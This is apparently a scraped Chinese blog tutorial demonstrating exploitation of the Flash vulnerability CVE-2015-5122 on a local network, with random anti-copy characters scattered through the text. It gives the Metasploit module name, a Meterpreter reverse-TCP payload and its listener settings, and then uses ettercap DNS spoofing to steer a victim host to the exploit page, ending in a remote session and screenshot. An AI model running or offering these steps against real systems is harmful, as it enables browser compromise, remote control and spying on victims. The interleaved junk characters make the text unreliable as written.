cve2015-5122漏洞实例演示虚拟机

admin

9 ~8 n R8 E" w 二、cve2015-5122漏洞实例演示虚拟机 ( W& {7 R& K8 h& |3 w6 y

# k" r' i0 N& H0 ?/ O; y

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

2 \# N' Z4 n4 ~9 F2 t

7 V, N7 P( F" r2 \+ B search cve-2015-5122如图：

2 N) ^5 {6 Z! g/ p

0 x( @& I" i& E  

& E0 J' d3 L7 @9 m4 S 下面我们敲如下命令： , h6 G' _+ g3 E3 }# a' }

% ]/ u; m; O, i4 v

! A" I x& R6 U: L4 \4 c- |4 ^ use exploit/multi/browser/adobe_flash_opaque_background_uaf

set PAYLOAD windows/meterpreter/reverse_tcp ; @6 r T- f- \8 J

% Q& h0 j* ]. ~/ Z1 F set LHOST 192.168.0.109 4 a) X2 l6 A7 C$ f+ ^% S. ^

set URIPATH /                        /*根目录*/ 7 k9 s( _* `7 R% t% W6 E

# I9 ~* ` T6 ^# M set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

: `1 m' B: i! S& G9 F" C set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 3 q' i( \8 Y% R0 N8 }% B

6 Q; S% y9 J$ e# n/ P" r" w

% B) l$ H$ X: M8 {( O* W 然后show options如图：

 

. D8 k( h( w( Q9 k. _! m 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
; _/ j& L; O- O& U5 z' ?* Q* u) X3 e

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 / T. j; u7 p- O/ h2 [( }/ D, o0 S

! _7 q; w& R7 b+ t* ]6 S0 b Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf 7 Y4 W+ d A Z/ m( h0 g% Z7 j

, f m8 U; j7 x h9 _ l$ V

  * S- V0 S0 [' H: w e9 S

9 ?- W% F g, V- S x 成功了，这时候我们断开ettercap，如图：

' V; I# F, {, @2 z- o7 m

5 ]0 {/ K, y$ U4 U2 ?   2 T. E6 T! d& q& L& V* K

3 W/ Z# D# @+ a9 k+ r$ P+ a; P6 p Screenshot如图：

( o1 j7 ]0 q+ r! t5 _

2 j; z, _! Y( g& w0 _$ E